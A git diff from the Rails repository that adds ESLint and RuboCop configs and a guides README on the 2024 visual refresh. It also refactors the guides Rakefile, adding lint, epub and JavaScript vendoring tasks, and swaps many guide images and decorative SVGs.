diff --git a/eslint.config.mjs b/eslint.config.mjs
new file mode 100644
index 0000000000000..f6f0701543842
--- /dev/null
+++ b/eslint.config.mjs
@@ -0,0 +1,62 @@
+import importPlugin from "eslint-plugin-import";
+import globals from "globals";
+import pluginJs from "@eslint/js";
+
+export default [
+  pluginJs.configs.recommended,
+  importPlugin.flatConfigs.recommended,
+  {
+    languageOptions: {
+      globals: {
+        ...globals.browser,
+      },
+
+      ecmaVersion: 6,
+      sourceType: "module",
+    },
+  },
+
+  {
+    rules: {
+      semi: ["error", "never"],
+      quotes: ["error", "double"],
+      "no-unused-vars": [
+        "error",
+        {
+          vars: "all",
+          args: "none",
+        },
+      ],
+      "import/order": [
+        "error",
+        {
+          alphabetize: {
+            order: "asc",
+            caseInsensitive: true,
+          },
+          groups: [["builtin", "external", "internal"]],
+        },
+      ],
+    },
+  },
+  {
+    files: ["actioncable/**"],
+    rules: {
+      "no-console": "off",
+    },
+  },
+  {
+    files: [
+      "activestorage/app/javascript/activestorage/direct_upload.js",
+      "activestorage/app/javascript/activestorage/index.js",
+    ],
+    rules: {
+      "import/order": [
+        "error",
+        {
+          groups: [["builtin", "external", "internal"]],
+        },
+      ],
+    },
+  },
+];
diff --git a/guides/.rubocop.yml b/guides/.rubocop.yml
new file mode 100644
index 0000000000000..f095f911ccafb
--- /dev/null
+++ b/guides/.rubocop.yml
@@ -0,0 +1,20 @@
+inherit_from:
+  - '../.rubocop.yml'
+
+Layout/IndentationConsistency:
+  Enabled: false
+
+Style/EvalWithLocation:
+  Enabled: false
+
+Performance/UnfreezeString:
+  Enabled: false
+
+Style/RedundantBegin:
+  Enabled: false
+
+Style/TrivialAccessors:
+  Enabled: false
+
+Style/RedundantPercentQ:
+  Enabled: false
diff --git a/guides/CHANGELOG.md b/guides/CHANGELOG.md
index 2730d2dfeace7..116834326b1f1 100644
--- a/guides/CHANGELOG.md
+++ b/guides/CHANGELOG.md
@@ -1,2 +1,2 @@
 
-Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/guides/CHANGELOG.md) for previous changes.
+Please check [8-1-stable](https://github.com/rails/rails/blob/8-1-stable/guides/CHANGELOG.md) for previous changes.
diff --git a/guides/README.md b/guides/README.md
new file mode 100644
index 0000000000000..3fda8e0056022
--- /dev/null
+++ b/guides/README.md
@@ -0,0 +1,27 @@
+# Rails Guides Redesign 2024
+
+## About the Project
+
+The Rails Guides Visual Refresh occurred in Q1 2024, and was intended to bring the visual style of the guides inline with the rubyonrails.org site.
+
+## Editing Dependencies
+
+The editing files for the Guides rebuild reside in `stylesrc` and use SCSS to improve developer experience. The code base relies on `include_media` (https://eduardoboucas.github.io/include-media/) to enable inline media-queries adjustments. We've also relied on the standard `normalize.css` (https://necolas.github.io/normalize.css/) to help bring all browsers together.
+
+## Building the Guides in Development
+
+To generate new guides into static files, type `rake guides:generate` from inside the `guides` folder. If you make changes to the HTML or ERB, you'll need to remove the "output" directory before running this command. The master SCSS files (style.scss, highlight.scss) will compile as part of this process.
+
+## FAQ
+
+### Why are you not using CSS variables?
+
+Per the MDN documentation on CSS custom properties (https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_custom_properties), they are not supported in media or container queries at this point (Feb 2024). They may in future releases, and we should pivot to that when they are more wholistically supported. SCSS variables, because they are interpolated at build, serve a similar purpose and allow us the flexibility to support much older browsers.
+
+### Why do we include LTR and RTL?
+
+LTR/RTL (Left to right/right to left) is a layout change based on the nature of the language the site is being displayed in. Arabic and Farsi are two well known "RTL" languages. If the site is automatically translated, then the layout will adjust (mirror horizontally) to be more in line with the text.
+
+### Why is Dark Mode in a separate file
+
+IncludeMedia does not handle `prefers-color-scheme` at this time, so it was extracted.
\ No newline at end of file
diff --git a/guides/Rakefile b/guides/Rakefile
index ccb42f32739e4..406fae47db026 100644
--- a/guides/Rakefile
+++ b/guides/Rakefile
@@ -1,3 +1,15 @@
+# frozen_string_literal: true
+
+require "rake/testtask"
+
+Rake::TestTask.new do |t|
+  t.libs << "test"
+  t.pattern = "test/**/*_test.rb"
+  t.warning = true
+  t.verbose = true
+  t.options = "--profile" if ENV["BUILDKITE"]
+end
+
 namespace :guides do
   desc 'Generate guides (for authors), use ONLY=foo to process just "foo.md"'
   task generate: "generate:html"
@@ -5,28 +17,59 @@ namespace :guides do
   namespace :generate do
     desc "Generate HTML guides"
     task :html do
-      ENV["WARNINGS"] = "1" # authors can't disable this
-      ruby "rails_guides.rb"
+      generate_guides
     end
 
-    desc "Generate .mobi file. The kindlegen executable must be in your PATH. You can get it for free from http://www.amazon.com/gp/feature.html?docId=1000765211"
+    desc "Generate .mobi file"
     task :kindle do
-      require "kindlerb"
-      unless Kindlerb.kindlegen_available?
-        abort "Please run `setupkindlerb` to install kindlegen"
-      end
-      unless `convert` =~ /convert/
-        abort "Please install ImageMagick"
-      end
-      ENV["KINDLE"] = "1"
+      warn("DEPRECATION WARNING: The guides:generate:kindle rake task is deprecated and will be removed in 7.2. Run rake guides:generate:epub instead.")
+      Rake::Task["guides:generate:epub"].invoke
+    end
+
+    desc "Generate .epub file"
+    task :epub do
+      ENV["EPUB"] = "1"
       Rake::Task["guides:generate:html"].invoke
     end
   end
 
+  desc "Lint guides, using `mdl` and check for broken links"
+  task lint: ["lint:check_links", "lint:mdl"]
+
+  namespace :lint do
+    desc "Check links in generated HTML guides"
+    task :check_links do
+      ENV["GUIDES_LINT"] = "1"
+      generate_guides
+    end
+
+    desc "Run mdl to check Markdown files for style guide violations and lint errors"
+    task :mdl do
+      require "mdl"
+      all = Dir.glob("#{__dir__}/source/*.md")
+      files = all - Dir.glob("#{__dir__}/**/*_release_notes.md") # Ignore release notes
+      MarkdownLint.run files
+    end
+  end
+
   # Validate guides -------------------------------------------------------------------------
   desc 'Validate guides, use ONLY=foo to process just "foo.html"'
   task :validate do
-    ruby "w3c_validator.rb"
+    require_relative "w3c_validator.rb"
+    RailsGuides::Validator.new.validate
+  end
+
+  task :vendor_javascript do
+    require "importmap-rails"
+    require "importmap/packager"
+
+    packager = Importmap::Packager.new(vendor_path: "assets/javascripts")
+    imports = packager.import("@hotwired/turbo", from: "unpkg")
+    imports.each do |package, url|
+      umd_url = url.gsub("esm.js", "umd.js")
+      puts %(Vendoring "#{package}" to #{packager.vendor_path}/#{package}.js via download from #{umd_url})
+      packager.download(package, umd_url)
+    end
   end
 
   desc "Show help"
@@ -67,10 +110,30 @@ Some arguments may be passed via environment variables:
 Examples:
   $ rake guides:generate ALL=1 RAILS_VERSION=v5.1.0
   $ rake guides:generate ONLY=migrations
-  $ rake guides:generate:kindle
+  $ rake guides:generate:epub
   $ rake guides:generate GUIDES_LANGUAGE=es
 HELP
   end
 end
 
 task default: "guides:help"
+
+def generate_guides
+  require_relative "rails_guides"
+  env_value = ->(name) { ENV[name].presence }
+  env_flag  = ->(name) { "1" == env_value[name] }
+
+  version = env_value["RAILS_VERSION"]
+  edge    = `git rev-parse HEAD`.strip unless version
+
+  RailsGuides::Generator.new(
+    edge:      edge,
+    version:   version,
+    all:       env_flag["ALL"],
+    only:      env_value["ONLY"],
+    epub:      env_flag["EPUB"],
+    language:  env_value["GUIDES_LANGUAGE"],
+    direction: env_value["DIRECTION"],
+    lint:      env_flag["GUIDES_LINT"]
+  ).generate
+end
diff --git a/guides/assets/images/4_0_release_notes/rails4_features.png b/guides/assets/images/4_0_release_notes/rails4_features.png
new file mode 100644
index 0000000000000..ac73f05cf7294
Binary files /dev/null and b/guides/assets/images/4_0_release_notes/rails4_features.png differ
diff --git a/guides/assets/images/active_record_querying/bookstore_models.png b/guides/assets/images/active_record_querying/bookstore_models.png
new file mode 100644
index 0000000000000..5574f4f911859
Binary files /dev/null and b/guides/assets/images/active_record_querying/bookstore_models.png differ
diff --git a/guides/assets/images/akshaysurve.jpg b/guides/assets/images/akshaysurve.jpg
deleted file mode 100644
index cfc33339583ac..0000000000000
Binary files a/guides/assets/images/akshaysurve.jpg and /dev/null differ
diff --git a/guides/assets/images/association_basics/belongs_to.png b/guides/assets/images/association_basics/belongs_to.png
new file mode 100644
index 0000000000000..7e8d9c5a358ca
Binary files /dev/null and b/guides/assets/images/association_basics/belongs_to.png differ
diff --git a/guides/assets/images/association_basics/habtm.png b/guides/assets/images/association_basics/habtm.png
new file mode 100644
index 0000000000000..361a0494a38bf
Binary files /dev/null and b/guides/assets/images/association_basics/habtm.png differ
diff --git a/guides/assets/images/association_basics/has_many.png b/guides/assets/images/association_basics/has_many.png
new file mode 100644
index 0000000000000..e389b38b24ea5
Binary files /dev/null and b/guides/assets/images/association_basics/has_many.png differ
diff --git a/guides/assets/images/association_basics/has_many_through.png b/guides/assets/images/association_basics/has_many_through.png
new file mode 100644
index 0000000000000..51f0bb817875f
Binary files /dev/null and b/guides/assets/images/association_basics/has_many_through.png differ
diff --git a/guides/assets/images/association_basics/has_one.png b/guides/assets/images/association_basics/has_one.png
new file mode 100644
index 0000000000000..68856a8c75379
Binary files /dev/null and b/guides/assets/images/association_basics/has_one.png differ
diff --git a/guides/assets/images/association_basics/has_one_through.png b/guides/assets/images/association_basics/has_one_through.png
new file mode 100644
index 0000000000000..5e8576c093596
Binary files /dev/null and b/guides/assets/images/association_basics/has_one_through.png differ
diff --git a/guides/assets/images/association_basics/polymorphic.png b/guides/assets/images/association_basics/polymorphic.png
new file mode 100644
index 0000000000000..90fe678edff0a
Binary files /dev/null and b/guides/assets/images/association_basics/polymorphic.png differ
diff --git a/guides/assets/images/belongs_to.png b/guides/assets/images/belongs_to.png
deleted file mode 100644
index 077d237e4e5c8..0000000000000
Binary files a/guides/assets/images/belongs_to.png and /dev/null differ
diff --git a/guides/assets/images/book_icon.gif b/guides/assets/images/book_icon.gif
deleted file mode 100644
index efc5e06880793..0000000000000
Binary files a/guides/assets/images/book_icon.gif and /dev/null differ
diff --git a/guides/assets/images/bullet.gif b/guides/assets/images/bullet.gif
deleted file mode 100644
index 95a26364a41f9..0000000000000
Binary files a/guides/assets/images/bullet.gif and /dev/null differ
diff --git a/guides/assets/images/chapters_icon.gif b/guides/assets/images/chapters_icon.gif
deleted file mode 100644
index a61c28c02d302..0000000000000
Binary files a/guides/assets/images/chapters_icon.gif and /dev/null differ
diff --git a/guides/assets/images/check_bullet.gif b/guides/assets/images/check_bullet.gif
deleted file mode 100644
index bd54ef64c99c9..0000000000000
Binary files a/guides/assets/images/check_bullet.gif and /dev/null differ
diff --git a/guides/assets/images/credits_pic_blank.gif b/guides/assets/images/credits_pic_blank.gif
deleted file mode 100644
index a6b335d0c98d6..0000000000000
Binary files a/guides/assets/images/credits_pic_blank.gif and /dev/null differ
diff --git a/guides/assets/images/docs_preview/annotation.png b/guides/assets/images/docs_preview/annotation.png
new file mode 100644
index 0000000000000..9ca0b39b44394
Binary files /dev/null and b/guides/assets/images/docs_preview/annotation.png differ
diff --git a/guides/assets/images/docs_preview/status_checks.png b/guides/assets/images/docs_preview/status_checks.png
new file mode 100644
index 0000000000000..be21902829b9c
Binary files /dev/null and b/guides/assets/images/docs_preview/status_checks.png differ
diff --git a/guides/assets/images/dynamic_method_class_eval.png b/guides/assets/images/dynamic_method_class_eval.png
new file mode 100644
index 0000000000000..c6e2627f66fb4
Binary files /dev/null and b/guides/assets/images/dynamic_method_class_eval.png differ
diff --git a/guides/assets/images/edge_badge.png b/guides/assets/images/edge_badge.png
deleted file mode 100644
index a3c1843d1d1cf..0000000000000
Binary files a/guides/assets/images/edge_badge.png and /dev/null differ
diff --git a/guides/assets/images/feature_tile.gif b/guides/assets/images/feature_tile.gif
deleted file mode 100644
index 5268ef8373894..0000000000000
Binary files a/guides/assets/images/feature_tile.gif and /dev/null differ
diff --git a/guides/assets/images/footer_tile.gif b/guides/assets/images/footer_tile.gif
deleted file mode 100644
index 3fe21a8275022..0000000000000
Binary files a/guides/assets/images/footer_tile.gif and /dev/null differ
diff --git a/guides/assets/images/fxn.png b/guides/assets/images/fxn.png
deleted file mode 100644
index 733d380cba31a..0000000000000
Binary files a/guides/assets/images/fxn.png and /dev/null differ
diff --git a/guides/assets/images/getting_started/article_with_comments.png b/guides/assets/images/getting_started/article_with_comments.png
deleted file mode 100644
index c489e4c00e81c..0000000000000
Binary files a/guides/assets/images/getting_started/article_with_comments.png and /dev/null differ
diff --git a/guides/assets/images/getting_started/background_jobs_dark.jpg b/guides/assets/images/getting_started/background_jobs_dark.jpg
new file mode 100644
index 0000000000000..006ba13c648bf
Binary files /dev/null and b/guides/assets/images/getting_started/background_jobs_dark.jpg differ
diff --git a/guides/assets/images/getting_started/background_jobs_light.jpg b/guides/assets/images/getting_started/background_jobs_light.jpg
new file mode 100644
index 0000000000000..9660303a5c7ce
Binary files /dev/null and b/guides/assets/images/getting_started/background_jobs_light.jpg differ
diff --git a/guides/assets/images/getting_started/challenge.png b/guides/assets/images/getting_started/challenge.png
deleted file mode 100644
index 5b88a842b282c..0000000000000
Binary files a/guides/assets/images/getting_started/challenge.png and /dev/null differ
diff --git a/guides/assets/images/getting_started/confirm_dialog.png b/guides/assets/images/getting_started/confirm_dialog.png
deleted file mode 100644
index 9755f581a6aff..0000000000000
Binary files a/guides/assets/images/getting_started/confirm_dialog.png and /dev/null differ
diff --git a/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png b/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png
deleted file mode 100644
index 9f32c684720d8..0000000000000
Binary files a/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png and /dev/null differ
diff --git a/guides/assets/images/getting_started/form_with_errors.png b/guides/assets/images/getting_started/form_with_errors.png
deleted file mode 100644
index 98bff37d4a30e..0000000000000
Binary files a/guides/assets/images/getting_started/form_with_errors.png and /dev/null differ
diff --git a/guides/assets/images/getting_started/index_action_with_edit_link.png b/guides/assets/images/getting_started/index_action_with_edit_link.png
deleted file mode 100644
index 0566a3ffde0ce..0000000000000
Binary files a/guides/assets/images/getting_started/index_action_with_edit_link.png and /dev/null differ
diff --git a/guides/assets/images/getting_started/mvc_architecture_dark.jpg b/guides/assets/images/getting_started/mvc_architecture_dark.jpg
new file mode 100644
index 0000000000000..b42a4af87a7f8
Binary files /dev/null and b/guides/assets/images/getting_started/mvc_architecture_dark.jpg differ
diff --git a/guides/assets/images/getting_started/mvc_architecture_light.jpg b/guides/assets/images/getting_started/mvc_architecture_light.jpg
new file mode 100644
index 0000000000000..31ea4b987e0ad
Binary files /dev/null and b/guides/assets/images/getting_started/mvc_architecture_light.jpg differ
diff --git a/guides/assets/images/getting_started/new_article.png b/guides/assets/images/getting_started/new_article.png
deleted file mode 100644
index bd3ae4fa675f1..0000000000000
Binary files a/guides/assets/images/getting_started/new_article.png and /dev/null differ
diff --git a/guides/assets/images/getting_started/rails_welcome.png b/guides/assets/images/getting_started/rails_welcome.png
index baccb113225d2..c88506c89bd7c 100644
Binary files a/guides/assets/images/getting_started/rails_welcome.png and b/guides/assets/images/getting_started/rails_welcome.png differ
diff --git a/guides/assets/images/getting_started/routing_dark.jpg b/guides/assets/images/getting_started/routing_dark.jpg
new file mode 100644
index 0000000000000..85e3199b157c8
Binary files /dev/null and b/guides/assets/images/getting_started/routing_dark.jpg differ
diff --git a/guides/assets/images/getting_started/routing_error_no_controller.png b/guides/assets/images/getting_started/routing_error_no_controller.png
deleted file mode 100644
index ed62862291d44..0000000000000
Binary files a/guides/assets/images/getting_started/routing_error_no_controller.png and /dev/null differ
diff --git a/guides/assets/images/getting_started/routing_error_no_route_matches.png b/guides/assets/images/getting_started/routing_error_no_route_matches.png
deleted file mode 100644
index 08c54f921feac..0000000000000
Binary files a/guides/assets/images/getting_started/routing_error_no_route_matches.png and /dev/null differ
diff --git a/guides/assets/images/getting_started/routing_light.jpg b/guides/assets/images/getting_started/routing_light.jpg
new file mode 100644
index 0000000000000..c8deb8c1e2978
Binary files /dev/null and b/guides/assets/images/getting_started/routing_light.jpg differ
diff --git a/guides/assets/images/getting_started/show_action_for_articles.png b/guides/assets/images/getting_started/show_action_for_articles.png
deleted file mode 100644
index 4dad704f89ea8..0000000000000
Binary files a/guides/assets/images/getting_started/show_action_for_articles.png and /dev/null differ
diff --git a/guides/assets/images/getting_started/template_is_missing_articles_new.png b/guides/assets/images/getting_started/template_is_missing_articles_new.png
deleted file mode 100644
index f4f054f3c669f..0000000000000
Binary files a/guides/assets/images/getting_started/template_is_missing_articles_new.png and /dev/null differ
diff --git a/guides/assets/images/getting_started/unknown_action_create_for_articles.png b/guides/assets/images/getting_started/unknown_action_create_for_articles.png
deleted file mode 100644
index fd20cd53dc18d..0000000000000
Binary files a/guides/assets/images/getting_started/unknown_action_create_for_articles.png and /dev/null differ
diff --git a/guides/assets/images/getting_started/unknown_action_new_for_articles.png b/guides/assets/images/getting_started/unknown_action_new_for_articles.png
deleted file mode 100644
index e948a51e4a113..0000000000000
Binary files a/guides/assets/images/getting_started/unknown_action_new_for_articles.png and /dev/null differ
diff --git a/guides/assets/images/grey_bullet.gif b/guides/assets/images/grey_bullet.gif
deleted file mode 100644
index 3c08b1571c968..0000000000000
Binary files a/guides/assets/images/grey_bullet.gif and /dev/null differ
diff --git a/guides/assets/images/habtm.png b/guides/assets/images/habtm.png
deleted file mode 100644
index b062bc73fe90c..0000000000000
Binary files a/guides/assets/images/habtm.png and /dev/null differ
diff --git a/guides/assets/images/has_many.png b/guides/assets/images/has_many.png
deleted file mode 100644
index 79da2613d7e84..0000000000000
Binary files a/guides/assets/images/has_many.png and /dev/null differ
diff --git a/guides/assets/images/has_many_through.png b/guides/assets/images/has_many_through.png
deleted file mode 100644
index 858c898dc13ca..0000000000000
Binary files a/guides/assets/images/has_many_through.png and /dev/null differ
diff --git a/guides/assets/images/has_one.png b/guides/assets/images/has_one.png
deleted file mode 100644
index 93faa05b07f0d..0000000000000
Binary files a/guides/assets/images/has_one.png and /dev/null differ
diff --git a/guides/assets/images/has_one_through.png b/guides/assets/images/has_one_through.png
deleted file mode 100644
index 07dac1a27d5b3..0000000000000
Binary files a/guides/assets/images/has_one_through.png and /dev/null differ
diff --git a/guides/assets/images/header_backdrop.png b/guides/assets/images/header_backdrop.png
deleted file mode 100644
index 72b030478fa9f..0000000000000
Binary files a/guides/assets/images/header_backdrop.png and /dev/null differ
diff --git a/guides/assets/images/header_tile.gif b/guides/assets/images/header_tile.gif
deleted file mode 100644
index 6b1af15eab5ca..0000000000000
Binary files a/guides/assets/images/header_tile.gif and /dev/null differ
diff --git a/guides/assets/images/hr_rails.svg b/guides/assets/images/hr_rails.svg
new file mode 100644
index 0000000000000..fb3a94ea929c6
--- /dev/null
+++ b/guides/assets/images/hr_rails.svg
@@ -0,0 +1 @@
+<svg fill="none" height="18" viewBox="0 0 687 18" width="687" xmlns="http://www.w3.org/2000/svg"><path d="m358 8.50008 329-.00003" stroke="#c81418"/><path d="m0 8.50008h329" stroke="#c81418"/><path clip-rule="evenodd" d="m351.712 1.08696c.473.2102.934.44889 1.381.71432l-.071.65833c-.449-.25428-.911-.48052-1.385-.67682zm-16.859 8.6916c-.19.44074-.364.89314-.52 1.35594l-1.092-.4899c.161-.461.337-.91197.529-1.35182zm2.522-4.11275-.855-.77421c.318-.36896.651-.72067.996-1.05383l.844.76437c-.343.33569-.672.69072-.985 1.06367zm4.329-3.48218-.527-.91995c.439-.21257.89-.400236 1.349-.561524l.516.898714c-.457.16735-.903.36215-1.338.58276zm5-1.30064-.185-.88244759c.038-.00036138.077-.00054241.116-.00054241.466 0 .927.0261359 1.381.0772411l.178.8492139c-.359-.033344-.722-.050329-1.088-.050329-.134 0-.269.002298-.402.006864zm8.969 4.16376c-2.32-2.30421-5.307-3.69085-8.567-3.69085-7.094 0-12.898 6.56929-13.344 14.8709l10.057 1.7732c-.204-.8597-.313-1.7668-.313-2.7042 0-5.48458 3.732-9.93073 8.336-9.93073 1.114 0 2.177.26034 3.148.73274zm-3.013.7624c-.262-.03097-.528-.04682-.797-.04682-.222 0-.442.01083-.66.03208l-.082.76181c.361-.0662.73-.10054 1.107-.10054.121 0 .241.00357.361.01061zm-7.617 10.13175c-.024-.2864-.037-.5769-.037-.8709 0-.2436.009-.485.026-.7235l-1.056-.4738c-.055.4511-.084.9124-.084 1.3817 0 .057.001.1138.001.1706zm-.671-3.9372.886.8029c.121-.529.282-1.0378.481-1.5211l-.804-.7282c-.22.4595-.409.943-.563 1.4464zm1.354-2.80683.56.97633c.272-.46939.583-.90491.926-1.30024l-.497-.86582c-.358.36123-.689.75946-.989 1.18973zm2.252-2.23226.203.96996c.407-.32961.845-.61083 1.306-.83673l-.176-.83857c-.465.18713-.911.42402-1.333.70534z" fill="#c81418" fill-rule="evenodd"/></svg>
\ No newline at end of file
diff --git a/guides/assets/images/hr_rails_mobile.svg b/guides/assets/images/hr_rails_mobile.svg
new file mode 100644
index 0000000000000..bdbd36400b1fa
--- /dev/null
+++ b/guides/assets/images/hr_rails_mobile.svg
@@ -0,0 +1 @@
+<svg fill="none" height="18" viewBox="0 0 349 18" width="349" xmlns="http://www.w3.org/2000/svg"><path d="m189 8.5h160" stroke="#c81418"/><path d="m-0 8.5 160-.00001" stroke="#c81418"/><path clip-rule="evenodd" d="m182.712 1.08696c.473.2102.934.44889 1.381.71432l-.071.65833c-.449-.25428-.911-.48052-1.385-.67682zm-16.859 8.6916c-.19.44074-.364.89314-.52 1.35594l-1.092-.4899c.161-.461.337-.91197.529-1.35182zm2.522-4.11275-.855-.77421c.318-.36896.651-.72067.996-1.05383l.844.76437c-.343.33569-.672.69072-.985 1.06367zm4.329-3.48218-.527-.91995c.439-.21257.89-.400236 1.349-.561524l.516.898714c-.457.16735-.903.36215-1.338.58276zm5-1.30064-.185-.88244759c.038-.00036138.077-.00054241.116-.00054241.466 0 .927.0261359 1.381.0772411l.178.8492139c-.359-.033344-.722-.050329-1.088-.050329-.134 0-.269.002298-.402.006864zm8.969 4.16376c-2.32-2.30421-5.307-3.69085-8.567-3.69085-7.094 0-12.898 6.56929-13.344 14.8709l10.057 1.7732c-.204-.8597-.313-1.7668-.313-2.7042 0-5.48458 3.732-9.93073 8.336-9.93073 1.114 0 2.177.26034 3.148.73274zm-3.013.7624c-.262-.03097-.528-.04682-.797-.04682-.222 0-.442.01083-.66.03208l-.082.76181c.361-.0662.73-.10054 1.107-.10054.121 0 .241.00357.361.01061zm-7.617 10.13175c-.024-.2864-.037-.5769-.037-.8709 0-.2436.009-.485.026-.7235l-1.056-.4738c-.055.4511-.084.9124-.084 1.3817 0 .057.001.1138.001.1706zm-.671-3.9372.886.8029c.121-.529.282-1.0378.481-1.5211l-.804-.7282c-.22.4595-.409.943-.563 1.4464zm1.354-2.80683.56.97633c.272-.46939.583-.90491.926-1.30024l-.497-.86582c-.358.36123-.689.75946-.989 1.18973zm2.252-2.23226.203.96996c.407-.32961.845-.61083 1.306-.83673l-.176-.83857c-.465.18713-.911.42402-1.333.70534z" fill="#c81418" fill-rule="evenodd"/></svg>
\ No newline at end of file
diff --git a/guides/assets/images/hr_rails_white.svg b/guides/assets/images/hr_rails_white.svg
new file mode 100644
index 0000000000000..7c612834a68f0
--- /dev/null
+++ b/guides/assets/images/hr_rails_white.svg
@@ -0,0 +1 @@
+<svg fill="none" height="18" viewBox="0 0 687 18" width="687" xmlns="http://www.w3.org/2000/svg"><path d="m358 8.50006 329-.00003" stroke="#e5e5e5"/><path d="m0 8.50006h329" stroke="#e5e5e5"/><path clip-rule="evenodd" d="m351.712 1.08696c.473.2102.934.44889 1.381.71432l-.071.65833c-.449-.25428-.911-.48052-1.385-.67682zm-16.859 8.6916c-.19.44074-.364.89314-.52 1.35594l-1.092-.4899c.161-.461.337-.91197.529-1.35182zm2.522-4.11275-.855-.77421c.318-.36896.651-.72067.996-1.05383l.844.76437c-.343.33569-.672.69072-.985 1.06367zm4.329-3.48218-.527-.91995c.439-.21257.89-.400236 1.349-.561524l.516.898714c-.457.16735-.903.36215-1.338.58276zm5-1.30064-.185-.88244759c.038-.00036138.077-.00054241.116-.00054241.466 0 .927.0261359 1.381.0772411l.178.8492139c-.359-.033344-.722-.050329-1.088-.050329-.134 0-.269.002298-.402.006864zm8.969 4.16376c-2.32-2.30421-5.307-3.69085-8.567-3.69085-7.094 0-12.898 6.56929-13.344 14.8709l10.057 1.7732c-.204-.8597-.313-1.7668-.313-2.7042 0-5.48458 3.732-9.93073 8.336-9.93073 1.114 0 2.177.26034 3.148.73274zm-3.013.7624c-.262-.03097-.528-.04682-.797-.04682-.222 0-.442.01083-.66.03208l-.082.76181c.361-.0662.73-.10054 1.107-.10054.121 0 .241.00357.361.01061zm-7.617 10.13175c-.024-.2864-.037-.5769-.037-.8709 0-.2436.009-.485.026-.7235l-1.056-.4738c-.055.4511-.084.9124-.084 1.3817 0 .057.001.1138.001.1706zm-.671-3.9372.886.8029c.121-.529.282-1.0378.481-1.5211l-.804-.7282c-.22.4595-.409.943-.563 1.4464zm1.354-2.80683.56.97633c.272-.46939.583-.90491.926-1.30024l-.497-.86582c-.358.36123-.689.75946-.989 1.18973zm2.252-2.23226.203.96996c.407-.32961.845-.61083 1.306-.83673l-.176-.83857c-.465.18713-.911.42402-1.333.70534z" fill="#e5e5e5" fill-rule="evenodd"/></svg>
\ No newline at end of file
diff --git a/guides/assets/images/hr_rails_white_mobile.svg b/guides/assets/images/hr_rails_white_mobile.svg
new file mode 100644
index 0000000000000..66e79adc9d2f1
--- /dev/null
+++ b/guides/assets/images/hr_rails_white_mobile.svg
@@ -0,0 +1 @@
+<svg fill="none" height="18" viewBox="0 0 349 18" width="349" xmlns="http://www.w3.org/2000/svg"><path d="m189 8.5h160" stroke="#e5e5e5"/><path d="m-0 8.5 160-.00001" stroke="#e5e5e5"/><path clip-rule="evenodd" d="m182.712 1.08696c.473.2102.934.44889 1.381.71432l-.071.65833c-.449-.25428-.911-.48052-1.385-.67682zm-16.859 8.6916c-.19.44074-.364.89314-.52 1.35594l-1.092-.4899c.161-.461.337-.91197.529-1.35182zm2.522-4.11275-.855-.77421c.318-.36896.651-.72067.996-1.05383l.844.76437c-.343.33569-.672.69072-.985 1.06367zm4.329-3.48218-.527-.91995c.439-.21257.89-.400236 1.349-.561524l.516.898714c-.457.16735-.903.36215-1.338.58276zm5-1.30064-.185-.88244759c.038-.00036138.077-.00054241.116-.00054241.466 0 .927.0261359 1.381.0772411l.178.8492139c-.359-.033344-.722-.050329-1.088-.050329-.134 0-.269.002298-.402.006864zm8.969 4.16376c-2.32-2.30421-5.307-3.69085-8.567-3.69085-7.094 0-12.898 6.56929-13.344 14.8709l10.057 1.7732c-.204-.8597-.313-1.7668-.313-2.7042 0-5.48458 3.732-9.93073 8.336-9.93073 1.114 0 2.177.26034 3.148.73274zm-3.013.7624c-.262-.03097-.528-.04682-.797-.04682-.222 0-.442.01083-.66.03208l-.082.76181c.361-.0662.73-.10054 1.107-.10054.121 0 .241.00357.361.01061zm-7.617 10.13175c-.024-.2864-.037-.5769-.037-.8709 0-.2436.009-.485.026-.7235l-1.056-.4738c-.055.4511-.084.9124-.084 1.3817 0 .057.001.1138.001.1706zm-.671-3.9372.886.8029c.121-.529.282-1.0378.481-1.5211l-.804-.7282c-.22.4595-.409.943-.563 1.4464zm1.354-2.80683.56.97633c.272-.46939.583-.90491.926-1.30024l-.497-.86582c-.358.36123-.689.75946-.989 1.18973zm2.252-2.23226.203.96996c.407-.32961.845-.61083 1.306-.83673l-.176-.83857c-.465.18713-.911.42402-1.333.70534z" fill="#e5e5e5" fill-rule="evenodd"/></svg>
\ No newline at end of file
diff --git a/guides/assets/images/i18n/demo_html_safe.png b/guides/assets/images/i18n/demo_html_safe.png
index 9afa8ebec1406..be75d4830ef6b 100644
Binary files a/guides/assets/images/i18n/demo_html_safe.png and b/guides/assets/images/i18n/demo_html_safe.png differ
diff --git a/guides/assets/images/i18n/demo_localized_pirate.png b/guides/assets/images/i18n/demo_localized_pirate.png
index bf8d0b558c094..528cc279009f2 100644
Binary files a/guides/assets/images/i18n/demo_localized_pirate.png and b/guides/assets/images/i18n/demo_localized_pirate.png differ
diff --git a/guides/assets/images/i18n/demo_translated_en.png b/guides/assets/images/i18n/demo_translated_en.png
index e887bfa306354..bbb5e93c3a0ac 100644
Binary files a/guides/assets/images/i18n/demo_translated_en.png and b/guides/assets/images/i18n/demo_translated_en.png differ
diff --git a/guides/assets/images/i18n/demo_translated_pirate.png b/guides/assets/images/i18n/demo_translated_pirate.png
index aa5618a865d3c..305fa93a1404a 100644
Binary files a/guides/assets/images/i18n/demo_translated_pirate.png and b/guides/assets/images/i18n/demo_translated_pirate.png differ
diff --git a/guides/assets/images/i18n/demo_translation_missing.png b/guides/assets/images/i18n/demo_translation_missing.png
index 867aa7c42d977..e9833ba307cdb 100644
Binary files a/guides/assets/images/i18n/demo_translation_missing.png and b/guides/assets/images/i18n/demo_translation_missing.png differ
diff --git a/guides/assets/images/i18n/demo_untranslated.png b/guides/assets/images/i18n/demo_untranslated.png
index 2ea6404822d45..2653abc4911d6 100644
Binary files a/guides/assets/images/i18n/demo_untranslated.png and b/guides/assets/images/i18n/demo_untranslated.png differ
diff --git a/guides/assets/images/icon.png b/guides/assets/images/icon.png
new file mode 100644
index 0000000000000..f5235a4573145
Binary files /dev/null and b/guides/assets/images/icon.png differ
diff --git a/guides/assets/images/icon.svg b/guides/assets/images/icon.svg
new file mode 100644
index 0000000000000..4aa7849c0b235
--- /dev/null
+++ b/guides/assets/images/icon.svg
@@ -0,0 +1 @@
